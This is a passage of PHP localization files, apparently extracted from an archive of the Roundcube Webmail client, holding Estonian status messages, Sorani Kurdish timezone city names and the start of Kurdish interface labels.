$messages['savedsearchdeleteerror'] = 'Salvestatud otsingu kustutamine nurjus.';
$messages['savedsearchcreated'] = 'Salvestatud otsing edukalt loodud.';
$messages['savedsearchcreateerror'] = 'Salvestatud otsingu loomine nurjus.';
$messages['messagedeleted'] = 'Kiri edukalt kustutatud';
$messages['messagemoved'] = 'Kiri edukalt liigutatud';
$messages['messagemovedtotrash'] = 'Kiri edukalt rämpsposti teisaldatud.';
$messages['messagecopied'] = 'Kiri edukalt kopeeritud';
$messages['messagemarked'] = 'Kiri edukalt märgitud';
$messages['autocompletechars'] = 'Sisesta vähemalt $min märki autom. lõpetuseks';
$messages['autocompletemore'] = 'Otsingule on liiga palju vasteid. Palun sisesta veel mõni märk.';
$messages['namecannotbeempty'] = 'Nimi ei saa olla tühi';
$messages['nametoolong'] = 'Nimi liiga pikk';
$messages['namedotforbidden'] = 'Kausta nimi ei tohi alata punktiga.';
$messages['folderupdated'] = 'Kaust uuendatud edukalt';
$messages['foldercreated'] = 'Kaust loodud edukalt';
$messages['invalidimageformat'] = 'Pole õige pildi formaat';
$messages['mispellingsfound'] = 'Kiri sisaldab õigekirjavigu';
$messages['parentnotwritable'] = 'Kasuta loomine/liigutamine valitud kausta nurjus. Pole õigusi.';
$messages['messagetoobig'] = 'Kiri on töötlemiseks liiga suur.';
$messages['noscriptwarning'] = 'Hoiatus: see veebimaili teenus vajab Javascripti! Teenuse kasutamiseks luba Javascript oma brauseri seadetes.';
$messages['messageissent'] = 'Sõnum oli juba saadetud, kuid seda pole veel salvestatud. Kas soovid selle nüüd salvestada?';
$messages['errnotfound'] = 'Faili ei leitud';
$messages['errnotfoundexplain'] = 'Päringu ressurssi ei leitud!';
$messages['errfailedrequest'] = 'Päring nurjus';
$messages['errauthorizationfailed'] = 'Atoriseerimine ebaõnnestus';
$messages['errunauthorizedexplain'] = 'Ei saanud kontrollida, kas sul on õigus seda teenust kasutada!';
$messages['errrequestcheckfailed'] = 'Päringu kontroll nurjus';
$messages['errcontactserveradmin'] = 'Palun pöördu oma serveri administraatori poole.';
$messages['clicktoresumesession'] = 'Eelmise seansi jätkamiseks klõpsa siin';
$messages['errcomposesession'] = 'Uue sessiooni loomise tõrge';
$messages['errcomposesessionexplain'] = 'Küsitud sessiooni ei leitud.';
$messages['clicktocompose'] = 'Uue sõnumi koostamiseks klõpsa siin';
$messages['nosupporterror'] = 'Sinu veebibrauser seda funktsiooni ei toeta.';
$messages['siginserted'] = 'Allkiri on edukalt sisestatud.';
$messages['responseinserted'] = 'Vastus edukalt sisestatud.';
$messages['listempty'] = 'See nimekiri on tühi.';
$messages['listusebutton'] = 'Uue kirje lisamiseks kasuta nuppu Lisa.';
$messages['oauthloginfailed'] = 'OAuth sisselogimine ebaõnnestus. Palun proovi hiljem uuesti.';
PK
h�\��.��Z�Z(program/localization/ku_IQ/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'کاتی گەردوونیی ھاوھەنگاو';
$labels['tz:africa'] = 'ئەفریقا';
$labels['tz:africa:abidjan'] = 'ئابەجان';
$labels['tz:africa:accra'] = 'ئاکرا';
$labels['tz:africa:addis_ababa'] = 'ئەدیس ئەبابا';
$labels['tz:africa:algiers'] = 'جەزائیر';
$labels['tz:africa:asmara'] = 'ئەسمەرە';
$labels['tz:africa:bamako'] = 'باماکۆ';
$labels['tz:africa:bangui'] = 'بانگوئی';
$labels['tz:africa:banjul'] = 'بانجول';
$labels['tz:africa:bissau'] = 'بیساو';
$labels['tz:africa:blantyre'] = 'بلانتیر';
$labels['tz:africa:brazzaville'] = 'برازاڤیل';
$labels['tz:africa:bujumbura'] = 'بوجومبورە';
$labels['tz:africa:cairo'] = 'قاهیرە';
$labels['tz:africa:casablanca'] = 'کازابلانکا';
$labels['tz:africa:ceuta'] = 'کوتا';
$labels['tz:africa:conakry'] = 'کۆناکری';
$labels['tz:africa:dakar'] = 'داکار';
$labels['tz:africa:dar_es_salaam'] = 'دار ئەلسەلام';
$labels['tz:africa:djibouti'] = 'جیبووتی';
$labels['tz:africa:douala'] = 'دوالا';
$labels['tz:africa:el_aaiun'] = 'ئەلعیون';
$labels['tz:africa:freetown'] = 'فریتاون';
$labels['tz:africa:gaborone'] = 'گابۆرۆن';
$labels['tz:africa:harare'] = 'ھەرارێ';
$labels['tz:africa:johannesburg'] = 'جۆهانسبێرگ';
$labels['tz:africa:juba'] = 'جوبا';
$labels['tz:africa:kampala'] = 'کەمپالا';
$labels['tz:africa:khartoum'] = 'خەرتوم';
$labels['tz:africa:kigali'] = 'کوگالی';
$labels['tz:africa:kinshasa'] = 'کنشاسا';
$labels['tz:africa:lagos'] = 'لاگۆس';
$labels['tz:africa:libreville'] = 'لیبرێڤیل';
$labels['tz:africa:lome'] = 'لۆمێ';
$labels['tz:africa:luanda'] = 'لواندا';
$labels['tz:africa:lubumbashi'] = 'لوبومباشی';
$labels['tz:africa:lusaka'] = 'لوساکا';
$labels['tz:africa:malabo'] = 'مالابۆ';
$labels['tz:africa:maputo'] = 'ماپوتۆ';
$labels['tz:africa:maseru'] = 'مازروو';
$labels['tz:africa:mbabane'] = 'ئمبەبانێی';
$labels['tz:africa:mogadishu'] = 'مۆگادیشو';
$labels['tz:africa:monrovia'] = 'مۆنرۆڤیا';
$labels['tz:africa:nairobi'] = 'نایرۆبی';
$labels['tz:africa:ndjamena'] = 'ئنجامینا';
$labels['tz:africa:niamey'] = 'نیامی';
$labels['tz:africa:nouakchott'] = 'نواکشۆت';
$labels['tz:africa:ouagadougou'] = 'ئۆئاگادۆگۆ';
$labels['tz:africa:porto-novo'] = 'پۆرتۆ نۆڤۆ';
$labels['tz:africa:sao_tome'] = 'ساوتۆمێی';
$labels['tz:africa:tripoli'] = 'تریپۆلی';
$labels['tz:africa:tunis'] = 'توونس';
$labels['tz:africa:windhoek'] = 'ویندهوک';
$labels['tz:america'] = 'ئەمریکا';
$labels['tz:america:adak'] = 'ئەیداک';
$labels['tz:america:anchorage'] = 'ئەنکورج';
$labels['tz:america:anguilla'] = 'ئەنگویلا';
$labels['tz:america:antigua'] = 'ئەنتیگا';
$labels['tz:america:araguaina'] = 'ئەرەگوینا';
$labels['tz:america:argentina'] = 'ئەرژەنتین';
$labels['tz:america:argentina:buenos_aires'] = 'بوێنس ئایریس';
$labels['tz:america:argentina:catamarca'] = 'کاتامارکا';
$labels['tz:america:argentina:cordoba'] = 'کۆردوبا';
$labels['tz:america:argentina:jujuy'] = 'هوهوی';
$labels['tz:america:argentina:la_rioja'] = 'لا ڕیۆفا';
$labels['tz:america:argentina:mendoza'] = 'میندۆزا';
$labels['tz:america:argentina:rio_gallegos'] = 'ڕیۆ گاشێفۆس';
$labels['tz:america:argentina:salta'] = 'سەڵتا';
$labels['tz:america:argentina:san_juan'] = 'سان هوان';
$labels['tz:america:argentina:san_luis'] = 'سان لویس';
$labels['tz:america:argentina:tucuman'] = 'توکومان';
$labels['tz:america:argentina:ushuaia'] = 'ئوسوایا';
$labels['tz:america:aruba'] = 'ئەروبا';
$labels['tz:america:asuncion'] = 'ئەسنتیۆن';
$labels['tz:america:atikokan'] = 'ئەتیکۆکان';
$labels['tz:america:bahia'] = 'بەهیە';
$labels['tz:america:bahia_banderas'] = 'بەهیە بەندێراس';
$labels['tz:america:barbados'] = 'باربادۆس';
$labels['tz:america:belem'] = 'بێلوم';
$labels['tz:america:belize'] = 'بڵیز';
$labels['tz:america:blanc-sablon'] = 'بلانک سابلۆن';
$labels['tz:america:boa_vista'] = 'بۆوا ڤیستا';
$labels['tz:america:bogota'] = 'بۆگۆتا';
$labels['tz:america:boise'] = 'بۆیس';
$labels['tz:america:cambridge_bay'] = 'کامبریدج بەی';
$labels['tz:america:campo_grande'] = 'کامپۆ گراندێی';
$labels['tz:america:cancun'] = 'کانکون';
$labels['tz:america:caracas'] = 'کراکەس';
$labels['tz:america:cayenne'] = 'کاین';
$labels['tz:america:cayman'] = 'کەیمن';
$labels['tz:america:chicago'] = 'شیکاگۆ';
$labels['tz:america:chihuahua'] = 'چیواوا';
$labels['tz:america:costa_rica'] = 'کۆستاریکا';
$labels['tz:america:creston'] = 'کرێستۆن';
$labels['tz:america:cuiaba'] = 'کویبا';
$labels['tz:america:curacao'] = 'کوراساو';
$labels['tz:america:danmarkshavn'] = 'دانمارکشاڤن';
$labels['tz:america:dawson'] = 'دۆسن';
$labels['tz:america:dawson_creek'] = 'دۆسن کریک';
$labels['tz:america:denver'] = 'دێنڤەر';
$labels['tz:america:detroit'] = 'دیترۆیت';
$labels['tz:america:dominica'] = 'دۆمینیکا';
$labels['tz:america:edmonton'] = 'ئێدمنتن';
$labels['tz:america:eirunepe'] = 'ئێرنپی';
$labels['tz:america:el_salvador'] = 'ئێل سلڤادۆر';
$labels['tz:america:fort_nelson'] = 'فۆرت نیڵسن';
$labels['tz:america:fortaleza'] = 'فۆرتالێزا';
$labels['tz:america:glace_bay'] = 'گلەیس بەی';
$labels['tz:america:godthab'] = 'گۆدهاب';
$labels['tz:america:goose_bay'] = 'گووس بەی';
$labels['tz:america:grand_turk'] = 'گراند تورک';
$labels['tz:america:grenada'] = 'گرنادا';
$labels['tz:america:guadeloupe'] = 'گوادالوپ';
$labels['tz:america:guatemala'] = 'گواتیمالا';
$labels['tz:america:guayaquil'] = 'گوایەکیل';
$labels['tz:america:guyana'] = 'گوایا';
$labels['tz:america:halifax'] = 'هاڵیفاکس';
$labels['tz:america:havana'] = 'هاڤانا';
$labels['tz:america:hermosillo'] = 'ئێرمۆسیۆ';
$labels['tz:america:indiana'] = 'ئیندیانا';
$labels['tz:america:indiana:indianapolis'] = 'ئیندیانا پۆلیس';
$labels['tz:america:indiana:knox'] = 'نۆکس';
$labels['tz:america:indiana:marengo'] = 'مەرێنگۆ';
$labels['tz:america:indiana:petersburg'] = 'پیتەرسبێرگ';
$labels['tz:america:indiana:tell_city'] = 'تێڵ سیتی';
$labels['tz:america:indiana:vevay'] = 'ڤیڤای';
$labels['tz:america:indiana:vincennes'] = 'ڤانسێن';
$labels['tz:america:indiana:winamac'] = 'ویناماک';
$labels['tz:america:inuvik'] = 'ئینوڤیک';
$labels['tz:america:iqaluit'] = 'ئیکالویت';
$labels['tz:america:jamaica'] = 'جامایکا';
$labels['tz:america:juneau'] = 'جونۆو';
$labels['tz:america:kentucky'] = 'کەنتاکی';
$labels['tz:america:kentucky:louisville'] = 'لویس ڤیڵ';
$labels['tz:america:kentucky:monticello'] = 'مۆنتیچێلۆ';
$labels['tz:america:kralendijk'] = 'کرالندیجک';
$labels['tz:america:la_paz'] = 'لاپاز';
$labels['tz:america:lima'] = 'لیما';
$labels['tz:america:los_angeles'] = 'لۆس ئەنجلس';
$labels['tz:america:lower_princes'] = 'لاوەر پرینسس';
$labels['tz:america:maceio'] = 'مەسێۆ';
$labels['tz:america:managua'] = 'ماناگوا';
$labels['tz:america:manaus'] = 'ماناوس';
$labels['tz:america:marigot'] = 'ماریگۆ';
$labels['tz:america:martinique'] = 'مارتنیک';
$labels['tz:america:matamoros'] = 'مەتامۆرۆس';
$labels['tz:america:mazatlan'] = 'مەزاتلان';
$labels['tz:america:menominee'] = 'مەنامنی';
$labels['tz:america:merida'] = 'مێریدا';
$labels['tz:america:metlakatla'] = 'مەتلاکەتلا';
$labels['tz:america:mexico_city'] = 'مەکسیکۆ سیتی';
$labels['tz:america:miquelon'] = 'مکەڵان';
$labels['tz:america:moncton'] = 'مۆنکتن';
$labels['tz:america:monterrey'] = 'مۆنترای';
$labels['tz:america:montevideo'] = 'مۆنتێڤیدیۆ';
$labels['tz:america:montserrat'] = 'مۆنسێرات';
$labels['tz:america:nassau'] = 'ناساو';
$labels['tz:america:new_york'] = 'نیویۆرک';
$labels['tz:america:nipigon'] = 'نیپیگۆن';
$labels['tz:america:nome'] = 'نۆم';
$labels['tz:america:noronha'] = 'نۆرۆنها';
$labels['tz:america:north_dakota'] = 'داکۆتای باکوور';
$labels['tz:america:north_dakota:beulah'] = 'بیوڵا';
$labels['tz:america:north_dakota:center'] = 'سەنتەر';
$labels['tz:america:north_dakota:new_salem'] = 'نیو سەیلم';
$labels['tz:america:ojinaga'] = 'ئۆهیناگا';
$labels['tz:america:panama'] = 'پاناما';
$labels['tz:america:pangnirtung'] = 'پانیرتەنگ';
$labels['tz:america:paramaribo'] = 'پاراماریبۆ';
$labels['tz:america:phoenix'] = 'فینیکس';
$labels['tz:america:port-au-prince'] = 'پۆرتۆ پرینس';
$labels['tz:america:port_of_spain'] = 'پۆرت ئۆف سپەین';
$labels['tz:america:porto_velho'] = 'پۆرتۆ ڤێلۆ';
$labels['tz:america:puerto_rico'] = 'پۆرتۆ ڕیکۆ';
$labels['tz:america:rainy_river'] = 'ڕەینی ڕیڤەر';
$labels['tz:america:rankin_inlet'] = 'ڕانکین ئینلێت';
$labels['tz:america:recife'] = 'ڕەسیفی';
$labels['tz:america:regina'] = 'ڕەجینا';
$labels['tz:america:resolute'] = 'ڕێزلوت';
$labels['tz:america:rio_branco'] = 'ڕیۆ برانکۆ';
$labels['tz:america:santarem'] = 'سەنتاریم';
$labels['tz:america:santiago'] = 'سانتیاگۆ';
$labels['tz:america:santo_domingo'] = 'سانتۆ دۆمینگۆ';
$labels['tz:america:sao_paulo'] = 'ساوپاولۆ';
$labels['tz:america:scoresbysund'] = 'سکۆرس بایسەند';
$labels['tz:america:sitka'] = 'سیتکا';
$labels['tz:america:st_barthelemy'] = 'سەینت بارتێلێمی';
$labels['tz:america:st_johns'] = "سەینت جۆنس";
$labels['tz:america:st_kitts'] = 'سەینت کیتس';
$labels['tz:america:st_lucia'] = 'سەینت لوشیا';
$labels['tz:america:st_thomas'] = 'سەینت تۆماس';
$labels['tz:america:st_vincent'] = 'سەینت ڤینسنت';
$labels['tz:america:swift_current'] = 'سویفت کەڕێنت';
$labels['tz:america:tegucigalpa'] = 'تەیگوسیگالپا';
$labels['tz:america:thule'] = 'تولی';
$labels['tz:america:thunder_bay'] = 'سەندەربەی';
$labels['tz:america:tijuana'] = 'تیوانا';
$labels['tz:america:toronto'] = 'تۆرۆنتۆ';
$labels['tz:america:tortola'] = 'تۆرتۆلا';
$labels['tz:america:vancouver'] = 'ڤانکۆڤەر';
$labels['tz:america:whitehorse'] = 'وایت هۆرس';
$labels['tz:america:winnipeg'] = 'وینپیگ';
$labels['tz:america:yakutat'] = 'یاکوتات';
$labels['tz:america:yellowknife'] = 'یەلۆنایف';
$labels['tz:antarctica'] = 'ئەنتارکتیکا';
$labels['tz:antarctica:casey'] = 'کاسی';
$labels['tz:antarctica:davis'] = 'دەیڤس';
$labels['tz:antarctica:dumontdurville'] = "دومۆنت دڤیل";
$labels['tz:antarctica:macquarie'] = 'مۆکۆری';
$labels['tz:antarctica:mawson'] = 'ماوسن';
$labels['tz:antarctica:mcmurdo'] = 'مەکموردۆ';
$labels['tz:antarctica:palmer'] = 'پاڵمەر';
$labels['tz:antarctica:rothera'] = 'ڕۆزێرا';
$labels['tz:antarctica:syowa'] = 'سیوا';
$labels['tz:antarctica:troll'] = 'ترۆڵ';
$labels['tz:antarctica:vostok'] = 'ڤۆستۆک';
$labels['tz:arctic'] = 'ئارکتیک';
$labels['tz:arctic:longyearbyen'] = 'لۆنیەربێن';
$labels['tz:asia'] = 'ئاسیا';
$labels['tz:asia:aden'] = 'عەدەن';
$labels['tz:asia:almaty'] = 'ئەلماتی';
$labels['tz:asia:amman'] = 'عەمان';
$labels['tz:asia:anadyr'] = 'ئەنادر';
$labels['tz:asia:aqtau'] = 'ئەکتاو';
$labels['tz:asia:aqtobe'] = 'ئەکتۆبی';
$labels['tz:asia:ashgabat'] = 'ئاشگەبات';
$labels['tz:asia:atyrau'] = 'ئەتیراو';
$labels['tz:asia:baghdad'] = 'بەغداد';
$labels['tz:asia:bahrain'] = 'بەحرەین';
$labels['tz:asia:baku'] = 'باکو';
$labels['tz:asia:bangkok'] = 'بانگۆک';
$labels['tz:asia:barnaul'] = 'بارناڵ';
$labels['tz:asia:beirut'] = 'بەیروت';
$labels['tz:asia:bishkek'] = 'بوشکەک';
$labels['tz:asia:brunei'] = 'برونای';
$labels['tz:asia:chita'] = 'چیتا';
$labels['tz:asia:choibalsan'] = 'چۆیباڵسان';
$labels['tz:asia:colombo'] = 'کۆڵۆمبۆ';
$labels['tz:asia:damascus'] = 'دەماسکوس';
$labels['tz:asia:dhaka'] = 'دەکا';
$labels['tz:asia:dili'] = 'دیڵی';
$labels['tz:asia:dubai'] = 'دوبەی';
$labels['tz:asia:dushanbe'] = 'دوشانبێی';
$labels['tz:asia:famagusta'] = 'فاماگوستا';
$labels['tz:asia:gaza'] = 'غەزە';
$labels['tz:asia:hebron'] = 'هیبرۆن';
$labels['tz:asia:ho_chi_minh'] = 'هۆ چی مین';
$labels['tz:asia:hong_kong'] = 'هۆنگ کۆنگ';
$labels['tz:asia:hovd'] = 'هۆڤد';
$labels['tz:asia:irkutsk'] = 'ئیرکوتسکە';
$labels['tz:asia:jakarta'] = 'جاکەرتا';
$labels['tz:asia:jayapura'] = 'جایاپورا';
$labels['tz:asia:jerusalem'] = 'ئورشەلیم';
$labels['tz:asia:kabul'] = 'کابوول';
$labels['tz:asia:kamchatka'] = 'کامچاتکە';
$labels['tz:asia:karachi'] = 'کەرەچی';
$labels['tz:asia:kathmandu'] = 'کەتماندوو';
$labels['tz:asia:khandyga'] = 'هاندیگا';
$labels['tz:asia:kolkata'] = 'کەلکەتە';
$labels['tz:asia:krasnoyarsk'] = 'کرازنیاسک';
$labels['tz:asia:kuala_lumpur'] = 'کوالا لامپور';
$labels['tz:asia:kuching'] = 'کوچینگ';
$labels['tz:asia:kuwait'] = 'کوەیت';
$labels['tz:asia:macau'] = 'ماکاو';
$labels['tz:asia:magadan'] = 'ماگەدان';
$labels['tz:asia:makassar'] = 'مەکاسەر';
$labels['tz:asia:manila'] = 'مەنێڵا';
$labels['tz:asia:muscat'] = 'مەسقەت';
$labels['tz:asia:nicosia'] = 'نیکۆسیا';
$labels['tz:asia:novokuznetsk'] = 'نۆڤۆکوتزنێسک';
$labels['tz:asia:novosibirsk'] = 'نۆڤاسبرسک';
$labels['tz:asia:omsk'] = 'ئۆمسک';
$labels['tz:asia:oral'] = 'ئۆراڵ';
$labels['tz:asia:phnom_penh'] = 'پنۆم پێن';
$labels['tz:asia:pontianak'] = 'پۆنتیاناک';
$labels['tz:asia:pyongyang'] = 'پیۆنگ یانگ';
$labels['tz:asia:qatar'] = 'قەتەر';
$labels['tz:asia:qyzylorda'] = 'کیزیلۆردا';
$labels['tz:asia:riyadh'] = 'ڕیاز';
$labels['tz:asia:sakhalin'] = 'سەخالین';
$labels['tz:asia:samarkand'] = 'سەمەرقەند';
$labels['tz:asia:seoul'] = 'سیئۆل';
$labels['tz:asia:shanghai'] = 'شەنگەهای';
$labels['tz:asia:singapore'] = 'سەنگافورە';
$labels['tz:asia:srednekolymsk'] = 'سریدنکۆلیمسک';
$labels['tz:asia:taipei'] = 'تایپێ';
$labels['tz:asia:tashkent'] = 'تاشکەند';
$labels['tz:asia:tbilisi'] = 'تەبلیس';
$labels['tz:asia:tehran'] = 'تاران';
$labels['tz:asia:thimphu'] = 'تیمفوو';
$labels['tz:asia:tokyo'] = 'تۆکیۆ';
$labels['tz:asia:tomsk'] = 'تۆمسک';
$labels['tz:asia:ulaanbaatar'] = 'ئولانباتۆر';
$labels['tz:asia:urumqi'] = 'ئورومچی';
$labels['tz:asia:ust-nera'] = 'ئوست نێرا';
$labels['tz:asia:vientiane'] = 'ڤیێنتیان';
$labels['tz:asia:vladivostok'] = 'ڤلادیڤۆستۆک';
$labels['tz:asia:yakutsk'] = 'یاکوتسک';
$labels['tz:asia:yangon'] = 'یانگۆن';
$labels['tz:asia:yekaterinburg'] = 'یەکاترینبۆرگ';
$labels['tz:asia:yerevan'] = 'یەریڤان';
$labels['tz:atlantic'] = 'ئەتڵەسی';
$labels['tz:atlantic:azores'] = 'دوورگەکانی ئەزوور';
$labels['tz:atlantic:bermuda'] = 'بەرمۆدە';
$labels['tz:atlantic:canary'] = 'کەناری';
$labels['tz:atlantic:cape_verde'] = 'کەیپڤەرد';
$labels['tz:atlantic:faroe'] = 'دوورگەکانی فارۆ';
$labels['tz:atlantic:madeira'] = 'دوورگەکانی مادیرا';
$labels['tz:atlantic:reykjavik'] = 'ڕێکیاڤیک';
$labels['tz:atlantic:south_georgia'] = 'باشووری جۆرجیا';
$labels['tz:atlantic:st_helena'] = 'سەینت هێلینا';
$labels['tz:atlantic:stanley'] = 'ستانلی';
$labels['tz:australia'] = 'ئوسترالیا';
$labels['tz:australia:adelaide'] = 'ئەدێلاید';
$labels['tz:australia:brisbane'] = 'بریزبێن';
$labels['tz:australia:broken_hill'] = 'بڕۆکن هیڵ';
$labels['tz:australia:currie'] = 'کوری';
$labels['tz:australia:darwin'] = 'داروین';
$labels['tz:australia:eucla'] = 'یۆکلا';
$labels['tz:australia:hobart'] = 'هۆبارت';
$labels['tz:australia:lindeman'] = 'لیندەمان';
$labels['tz:australia:lord_howe'] = 'لۆرد هاو';
$labels['tz:australia:melbourne'] = 'مێلبۆرن';
$labels['tz:australia:perth'] = 'پێرس';
$labels['tz:australia:sydney'] = 'سیدنی';
$labels['tz:europe'] = 'ئەوروپا';
$labels['tz:europe:amsterdam'] = 'ئەمستردام';
$labels['tz:europe:andorra'] = 'ئەندۆرا';
$labels['tz:europe:astrakhan'] = 'ئەستراخان';
$labels['tz:europe:athens'] = 'ئەسینا';
$labels['tz:europe:belgrade'] = 'بێلگراد';
$labels['tz:europe:berlin'] = 'بەرلین';
$labels['tz:europe:bratislava'] = 'براتسیلاڤا';
$labels['tz:europe:brussels'] = 'برۆکسل';
$labels['tz:europe:bucharest'] = 'بوخارێست';
$labels['tz:europe:budapest'] = 'بوداپێست';
$labels['tz:europe:busingen'] = 'بۆزینگن';
$labels['tz:europe:chisinau'] = 'کیشیناو';
$labels['tz:europe:copenhagen'] = 'کۆپنهاگن';
$labels['tz:europe:dublin'] = 'دوبلین';
$labels['tz:europe:gibraltar'] = 'گیبرالتار';
$labels['tz:europe:guernsey'] = 'گەرنزی';
$labels['tz:europe:helsinki'] = 'ھێلسینکی';
$labels['tz:europe:isle_of_man'] = 'دوورگەی مان';
$labels['tz:europe:istanbul'] = 'ئیستانبوڵ';
$labels['tz:europe:jersey'] = 'جێرزی';
$labels['tz:europe:kaliningrad'] = 'کالینینگراد';
$labels['tz:europe:kiev'] = 'کیڤ';
$labels['tz:europe:kirov'] = 'کیرۆڤ';
$labels['tz:europe:lisbon'] = 'لیسبۆن';
$labels['tz:europe:ljubljana'] = 'لیوبلیانا';
$labels['tz:europe:london'] = 'لەندەن';
$labels['tz:europe:luxembourg'] = 'لوکسمبۆرگ';
$labels['tz:europe:madrid'] = 'مەدرید';
$labels['tz:europe:malta'] = 'ماڵتا';
$labels['tz:europe:mariehamn'] = 'ماریهام';
$labels['tz:europe:minsk'] = 'مینسک';
$labels['tz:europe:monaco'] = 'مۆناکۆ';
$labels['tz:europe:moscow'] = 'مۆسکۆ';
$labels['tz:europe:oslo'] = 'ئۆسلۆ';
$labels['tz:europe:paris'] = 'پاریس';
$labels['tz:europe:podgorica'] = 'پۆدگۆریتسا';
$labels['tz:europe:prague'] = 'پراگ';
$labels['tz:europe:riga'] = 'ڕیگا';
$labels['tz:europe:rome'] = 'ڕۆما';
$labels['tz:europe:samara'] = 'سەمارا';
$labels['tz:europe:san_marino'] = 'سان مارینۆ';
$labels['tz:europe:sarajevo'] = 'سارایێڤۆ';
$labels['tz:europe:saratov'] = 'ساراتۆڤ';
$labels['tz:europe:simferopol'] = 'سیمفرۆپۆڵ';
$labels['tz:europe:skopje'] = 'سکۆپیە';
$labels['tz:europe:sofia'] = 'سۆفیا';
$labels['tz:europe:stockholm'] = 'ستۆکهۆڵم';
$labels['tz:europe:tallinn'] = 'تاڵین';
$labels['tz:europe:tirane'] = 'تیرانا';
$labels['tz:europe:ulyanovsk'] = 'ئولیانۆڤسک';
$labels['tz:europe:uzhgorod'] = 'ئۆژهورود';
$labels['tz:europe:vaduz'] = 'ڤادوتس';
$labels['tz:europe:vatican'] = 'ڤاتیکان';
$labels['tz:europe:vienna'] = 'ڤیەنا';
$labels['tz:europe:vilnius'] = 'ڤیلنیوس';
$labels['tz:europe:volgograd'] = 'ڤۆڵگۆگراد';
$labels['tz:europe:warsaw'] = 'وارشۆ';
$labels['tz:europe:zagreb'] = 'زاگرێب';
$labels['tz:europe:zaporozhye'] = 'زاپرۆژیا';
$labels['tz:europe:zurich'] = 'زوریخ';
$labels['tz:indian'] = 'ھیندستان';
$labels['tz:indian:antananarivo'] = 'ئانتاناناریڤۆ';
$labels['tz:indian:chagos'] = 'چاگۆس';
$labels['tz:indian:christmas'] = 'کریسمس';
$labels['tz:indian:cocos'] = 'دوورگەکانی کۆکۆس';
$labels['tz:indian:comoro'] = 'دوورگەکانی قەمەر';
$labels['tz:indian:kerguelen'] = 'کەرگولەن';
$labels['tz:indian:mahe'] = 'ماهی';
$labels['tz:indian:maldives'] = 'ماڵدیڤ';
$labels['tz:indian:mauritius'] = 'مۆریس';
$labels['tz:indian:mayotte'] = 'مایۆت';
$labels['tz:indian:reunion'] = 'ڕیۆنیۆن';
$labels['tz:pacific'] = 'هێمن';
$labels['tz:pacific:apia'] = 'ئاپیا';
$labels['tz:pacific:auckland'] = 'ئۆکلاند';
$labels['tz:pacific:bougainville'] = 'بۆگنویڵ';
$labels['tz:pacific:chatham'] = 'چاتەم';
$labels['tz:pacific:chuuk'] = 'چوک';
$labels['tz:pacific:easter'] = 'ئیستەر';
$labels['tz:pacific:efate'] = 'ئافات';
$labels['tz:pacific:enderbury'] = 'ئەندەربۆری';
$labels['tz:pacific:fakaofo'] = 'فاکاوفو';
$labels['tz:pacific:fiji'] = 'فیجی';
$labels['tz:pacific:funafuti'] = 'فونافوتی';
$labels['tz:pacific:galapagos'] = 'دوورگەکانی گالاپاگۆس';
$labels['tz:pacific:gambier'] = 'گامبیر';
$labels['tz:pacific:guadalcanal'] = 'گوادال کەناڵ';
$labels['tz:pacific:guam'] = 'گوام';
$labels['tz:pacific:honolulu'] = 'هۆنولولو';
$labels['tz:pacific:johnston'] = 'جۆنستۆن';
$labels['tz:pacific:kiritimati'] = 'کیریتیماتی';
$labels['tz:pacific:kosrae'] = 'کۆسرای';
$labels['tz:pacific:kwajalein'] = 'کواجالین';
$labels['tz:pacific:majuro'] = 'ماجورۆ';
$labels['tz:pacific:marquesas'] = 'مارکێز';
$labels['tz:pacific:midway'] = 'میدوەی';
$labels['tz:pacific:nauru'] = 'نائووروو';
$labels['tz:pacific:niue'] = 'نیووەی';
$labels['tz:pacific:norfolk'] = 'نۆرفۆڵک';
$labels['tz:pacific:noumea'] = 'نۆمیا';
$labels['tz:pacific:pago_pago'] = 'پاگۆ پاگۆ';
$labels['tz:pacific:palau'] = 'پالاو';
$labels['tz:pacific:pitcairn'] = 'پیتکارن';
$labels['tz:pacific:pohnpei'] = 'پۆنپی';
$labels['tz:pacific:port_moresby'] = 'پۆرت مۆرسبی';
$labels['tz:pacific:rarotonga'] = 'ڕارۆتۆنگا';
$labels['tz:pacific:saipan'] = 'سایپان';
$labels['tz:pacific:tahiti'] = 'تاھیتی';
$labels['tz:pacific:tarawa'] = 'تاراوە';
$labels['tz:pacific:tongatapu'] = 'تۆنگاتاپو';
$labels['tz:pacific:wake'] = 'وەیک';
$labels['tz:pacific:wallis'] = 'واڵیس';
PK
h�\���5vv%program/localization/ku_IQ/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'بەخێربێیت بۆ $product';
$labels['username'] = 'ناوی بەکارهێنەر';
$labels['password'] = 'تێپەڕەوشە';
$labels['server'] = 'ڕاژەکار';
$labels['login'] = 'چوونەژوورەوە';
$labels['oauthlogin'] = 'چوونەژوورەوە لەگەڵ $provider';
$labels['menu'] = 'پێڕست';
$labels['logout'] = 'دەرچوون';
$labels['mail'] = 'پۆست';
$labels['settings'] = 'ڕێکخستنەکان';
$labels['addressbook'] = 'پەرتووکی ناونیشان';
$labels['darkmode'] = 'شێوازی تاریک';
$labels['lightmode'] = 'شێوازی ڕووناک';
$labels['inbox'] = 'هاتوو';
$labels['drafts'] = 'ڕه‌شنووسەکان';
$labels['sent'] = 'نێردراو';
$labels['trash'] = 'زبڵدان';
$labels['junk'] = 'بێکه‌ڵک';
$labels['show_real_foldernames'] = 'ناوە ڕاستییەکان پیشانبدە بۆ بوخچە تایبەتەکان';
$labels['subject'] = 'ناونیشان';
$labels['from'] = 'لە';
$labels['sender'] = 'نێردەر';
$labels['to'] = 'بۆ';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'وەڵامدانەوە-بۆ';
$labels['followupto'] = 'بەدواداچوون-بۆ';
$labels['date'] = 'بەروار';
$labels['size'] = 'قەبارە';
$labels['priority'] = 'پێشه‌نگی';
